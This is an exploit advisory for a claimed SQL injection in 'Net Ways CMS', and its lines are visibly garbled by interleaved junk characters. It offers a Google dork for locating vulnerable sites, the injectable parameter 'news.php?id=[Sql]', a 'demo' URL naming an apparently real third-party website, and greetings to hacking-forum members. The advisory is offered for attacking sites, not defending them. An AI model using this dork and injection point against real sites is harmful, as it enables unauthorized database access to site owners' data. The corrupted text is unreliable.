################################################################################??######## $ d+ ?* U) t$ K1 a; n1 R
# 5 L' ?( s1 Q; f) V, J& h
# Exploit Title : Net Ways Cms Sql Injection Vulnerability : U. d4 P. y. G& ~' I
# ) [/ o5 ~3 {) J
# Author : IrIsT.Ir
7 ^! U7 h: T( K: W# x' I3 z2 J% g#
! h0 V0 O q( z' L2 k9 Q7 j# Discovered By : Am!r / q- _: k3 Q5 u6 \. [
# : r4 x% `$ Z8 G7 z% r
# Home : http://IrIsT.Ir/forum 1 {& M/ F' T6 k. x& Q! F% h* M
#
4 I+ m% R, C& I, U! W# Software Link : http://www.netways.com/ www.political-security.com
1 z2 Q9 o$ `2 V#
* V$ P( w# Z7 q$ @: R# Security Risk : High
; p1 h- w) V0 V# U( }& \# D# + v2 N5 z; Q& @3 M
# Version : All Version
, _/ h% `- t; Z# z" V! c# ( }9 ?. W3 N# x& D$ U5 T
# Tested on : GNU/Linux Ubuntu - Windows Server - win7
0 D6 N. f" S4 S; A6 i2 V* s7 |#
s! w- }# g7 u3 v9 G# K b) h$ u# Dork : intext:"Designed & developed by NetWays" 9 j. r7 C- I/ |' r
#
3 {- I. G, N$ i# S( r################################################################################??########
' V% U6 e% \7 u' K" n" T# % Q4 J# ]% _) J) n
# Expl0iTs : M! h# D1 f9 F% _& M0 S
#
, x5 I1 j3 }! U" j: |# http://target.com/news.php?id=[Sql]
3 B) D9 M1 n8 v& {* c& R# % ^3 m6 x! W" g) q3 j! _
#
6 W4 y- q! {. d3 {# D3mo : " f: k) u2 i$ o; l
# , c: X' H9 D# \8 e3 Z6 ?' y4 T
# http://compagnieparento.com/news.php?id=7[Sql] ! }* ^6 b8 h% v( T; U$ g% E3 R
#
% P+ e; h& v4 y################################################################################??######## $ W+ F6 j+ Z3 C, p J8 {) h2 W4 R
#
3 t0 ?7 {2 S4 g0 i# C1 a# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r
$ _. ?# |* q; Z- c& ]# 9 c M' w4 ?; D& J' O
# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r ( A7 s9 C" A6 R( {
# - F/ W4 D. c( K0 ?# `- t
# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum
1 I; Q) O. y& C! e* j) R/ |& w# * h7 D H* h6 V
################################################################################??######## |